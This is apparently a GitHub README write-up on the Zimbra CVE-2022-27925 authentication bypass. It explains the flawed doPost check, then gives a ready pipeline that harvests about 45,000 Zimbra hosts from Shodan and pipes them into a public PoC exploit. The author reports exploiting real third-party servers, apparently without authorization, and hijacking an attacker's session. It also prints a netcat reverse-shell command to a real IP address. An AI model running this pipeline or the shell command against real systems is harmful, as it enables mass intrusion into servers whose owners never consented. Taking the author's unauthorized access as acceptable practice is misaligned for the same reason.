jam620/zimbraCVE-2022-27925
The following research began by trying to understand the POCs from several GitHub repositories shared by many researchers and ended in an interesting surprise, which I will share in the following paragraphs. On August 10 of this year, the security research group Volexity published on their Twitter account the discovery of mass exploitation of the ZCS (Zimbra Collaboration Server) suite that allows authentication bypass and that nearly 1000 Zimbra instances were compromised worldwide.
In the research presented by our colleagues at Volexity, they showed part of the logs consulted
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
Similarly, they explained that the code flaw was due to the doPost function,
The problem with this code is that authentication is checked and an error message is set, but there is no return statement. This means that subsequent code will continue to execute regardless of the user's authentication status. Following the function downwards, an attacker only needs to set the correct parameters in the URL to exploit the vulnerability.
Once we understand the possible causes and some POCs had already been released, we proceed to perform the exploitation step by step, but first we will investigate the status using the greynoise tool
We observe that more than a month after the publication of CVE-2022-27925, attacks are still ongoing
On Shodan we can see around 45,223 Zimbra installations
shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"
We will parse the results
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt
We will review the data a bit and format it as needed to automate the tests
We parse the data to be able to use an online tool
We will use httpx in docker
We download the POC from GitHub
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC
We test the oneliner with the POC. It is important to note that we must move the parsed file to the POC directory or call it by absolute path, also using the shodan dump we can use it
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'
During this test many targets already appear patched
Finally we obtained a result
Once the vulnerability was exploited, we observed files that are APT scripts for information exfiltration and preparation for extortion
malicious file gift
Backup and exfiltration file
One of the paths we found contained multiple webshells
/opt/zimbra/jetty_base/webapps/zimbraAdmin/
An analysis of running processes showed that cronjobs were being installed to package emails
Note: the following was done for educational purposes and as a good deed
Once the download of netcat was identified, we proceeded to take over the attackers' session. The use of netcat ./nc 52.90.92.82 443 -e /bin/bash was observed
A vulnerability publicly reported more than 30 days ago is still active at the time of writing this article. It should be noted that the affected parties were notified without success, as the vulnerability remains active.